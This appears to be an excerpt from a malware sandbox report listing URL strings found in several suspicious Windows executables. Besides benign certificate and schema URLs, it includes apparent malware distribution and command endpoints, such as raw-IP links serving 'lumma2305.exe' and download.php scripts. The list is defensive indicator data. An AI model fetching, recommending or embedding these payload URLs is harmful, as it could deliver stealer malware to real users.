Source: l9lSJ9GGGlvKrfyivpacgPFW.exe, 0000000B.00000002.2414621279.0000000002155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=one&s=two
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.1J
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.1V
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2045130437.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2039355227.000000000653D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2039355227.000000000653D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/P
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2045130437.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/l;
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.000000000140A000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2045130437.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013E7000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089939827.0000000001702000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089155668.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2282956146.0000000005F77000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2091372722.0000000001702000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001BE4000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2039355227.0000000006547000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exe
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exe6
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2282956146.0000000005F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exe8
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2045130437.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exeR1
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exed06
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089939827.0000000001702000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089155668.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2091372722.0000000001702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exen
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exerelease.txtxx
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2039355227.0000000006547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exes
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exetto.de
Source: l9lSJ9GGGlvKrfyivpacgPFW.exe, 0000000B.00000002.2414621279.0000000002155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.64/advdlc.php
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.64/download.php?pub=inte
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2091372722.0000000001702000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2282956146.0000000005F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/Retailer_prog.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002943000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage12.php
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.php
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpU
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php%F
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.phpSFZ
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/K
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1668437615.0000000000624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/bing_release.php
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.php
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.php06A
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.phpYp
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.phpqderu
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26:80/api/flash.php
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263819648.00000255D9390000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.c
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765464431.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2167888234.000000000668A000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2166509341.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2168297913.0000000006682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765464431.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2167888234.000000000668A000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2166509341.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2168297913.0000000006682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fleur-de-lis.sbs/jhgfd
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765464431.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2167888234.000000000668A000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2166509341.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2168297913.0000000006682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000A82000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000000.1877151517.0000000000D22000.00000080.00000001.01000000.00000010.sdmp	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000A82000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000000.1877151517.0000000000D22000.00000080.00000001.01000000.00000010.sdmp	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000A82000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000000.1877151517.0000000000D22000.00000080.00000001.01000000.00000010.sdmp	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rpi.net.au/~ajohnson/resourcehacker
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1742442702.0000000005305000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1746330433.0000000005B8C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1732566668.0000000004F52000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736926727.000000000506E000.00000004.00000020.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1742442702.0000000005305000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1746330433.0000000005B8C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1732566668.0000000004F52000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736926727.000000000506E000.00000004.00000020.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDD3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/mime/
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1730354872.0000000004B9D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1742442702.0000000005305000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1746330433.0000000005B8C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1732566668.0000000004F52000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736926727.000000000506E000.00000004.00000020.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/#
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263819648.00000255D9390000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/%
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/123.456
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7615000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7642000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D75FA000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263023962.000000F45A67B000.00000004.00000010.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpg
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpgC:
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpgR
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D75AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpgb
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpghttp://sta.alie3ksgee.com/123.456http://sta.alie3ksgee.com/123
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D75FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpgs40A
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2264198709.00007FF62C61D000.00000040.00000001.01000000.0000000A.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D75FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/xxxxxxxx.jpg
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D75FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/xxxxxxxx.jpgC4
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1919133968.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types-IWSDLPublish
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/TypesE
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/TypesP%
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1742442702.0000000005305000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1746330433.0000000005B8C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1732566668.0000000004F52000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736926727.000000000506E000.00000004.00000020.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.borland.com/namespaces/TypesU
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/TypesX#
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesc0da539
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesc0da53;
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1742442702.0000000005305000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1746330433.0000000005B8C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1732566668.0000000004F52000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736926727.000000000506E000.00000004.00000020.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typeshhttp://www.borland.com/namespaces/Types-IWSDLPublish
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesmmon-c
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524124918.00000000684ED000.00000002.00000001.01000000.0000002A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 2JjpKpJKHpHJisxPcc0WWCif.exe, 00000007.00000003.1879064442.0000000002280000.00000004.00001000.00020000.00000000.sdmp, 2JjpKpJKHpHJisxPcc0WWCif.exe, 00000007.00000003.1879174475.0000000002051000.00000004.00001000.00020000.00000000.sdmp, 2JjpKpJKHpHJisxPcc0WWCif.exe, 00000007.00000002.2915469659.0000000002051000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mpegla.com
